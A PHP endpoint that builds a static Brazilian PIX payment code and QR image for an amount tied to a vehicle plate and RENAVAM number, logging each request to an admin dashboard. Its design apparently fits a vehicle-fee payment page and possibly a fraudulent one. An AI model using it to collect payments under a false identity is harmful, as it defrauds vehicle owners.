<?php
/**
 * PIX API - MG (QRServer Integrado)
 * Gera PIX Estático baseado na configuração do Dashboard
 */

header('Content-Type: application/json; charset=utf-8');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');

require_once __DIR__ . '/client-config.php';

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') exit(0);

// Action: Generate (Chamado pelo frontend)
if (isset($_GET['action']) && $_GET['action'] === 'generate' || $_SERVER['REQUEST_METHOD'] === 'POST') {
    $input = json_decode(file_get_contents('php://input'), true) ?? $_POST;
    
    $amount = floatval($input['amount'] ?? $input['valor'] ?? 0);
    $placa = $input['placa'] ?? '';
    $renavam = $input['renavam'] ?? '';

    if ($amount <= 0) {
        echo json_encode(['success' => false, 'error' => 'Valor inválido']);
        exit;
    }

    // Buscar configuração do Admin
    $pixConfig = getPixConfig();
    $pixKey = $pixConfig['pixKey'] ?? '';
    $name = $pixConfig['receiverName'] ?? 'PAGAMENTO';
    $city = $pixConfig['receiverCity'] ?? 'SAO PAULO';

    if (empty($pixKey)) {
        echo json_encode(['success' => false, 'error' => 'Chave PIX não configurada no painel']);
        exit;
    }

    // Gerar Payload PIX
    $pixCode = gerarPayloadPix($pixKey, $amount, $name, $city);
    $qrCodeUrl = "https://api.qrserver.com/v1/create-qr-code/?size=300x300&data=" . urlencode($pixCode);

    // Registrar no Admin
    trackEvent([
        'event_type' => 'pix_gerado',
        'placa' => $placa,
        'renavam' => $renavam,
        'valor' => $amount,
        'metadata' => ['gateway' => 'QRServer']
    ]);

    echo json_encode([
        'success' => true,
        'pix_code' => $pixCode,
        'qr_code' => $qrCodeUrl,
        'amount' => $amount
    ]);
    exit;
}

function gerarPayloadPix($chave, $valor, $nome, $cidade) {
    function ff($id, $val) { return $id . str_pad(strlen($val), 2, '0', STR_PAD_LEFT) . $val; }
    
    $gui = ff('00', 'br.gov.bcb.pix');
    $key = ff('01', $chave);
    $merchantAccount = ff('26', $gui . $key);
    
    $payload = ff('00', '01');
    $payload .= $merchantAccount;
    $payload .= ff('52', '0000');
    $payload .= ff('53', '986');
    $payload .= ff('54', number_format($valor, 2, '.', ''));
    $payload .= ff('58', 'BR');
    $payload .= ff('59', substr(strtoupper($nome), 0, 25));
    $payload .= ff('60', substr(strtoupper($cidade), 0, 15));
    $payload .= ff('62', ff('05', '***'));
    $payload .= '6304';
    
    $payload .= crc16($payload);
    return $payload;
}

function crc16($data) {
    $res = 0xFFFF;
    for ($i = 0; $i < strlen($data); $i++) {
        $res ^= (ord($data[$i]) << 8);
        for ($j = 0; $j < 8; $j++) {
            if ($res & 0x8000) $res = ($res << 1) ^ 0x1021;
            else $res <<= 1;
            $res &= 0xFFFF;
        }
    }
    return strtoupper(str_pad(dechex($res), 4, '0', STR_PAD_LEFT));
}
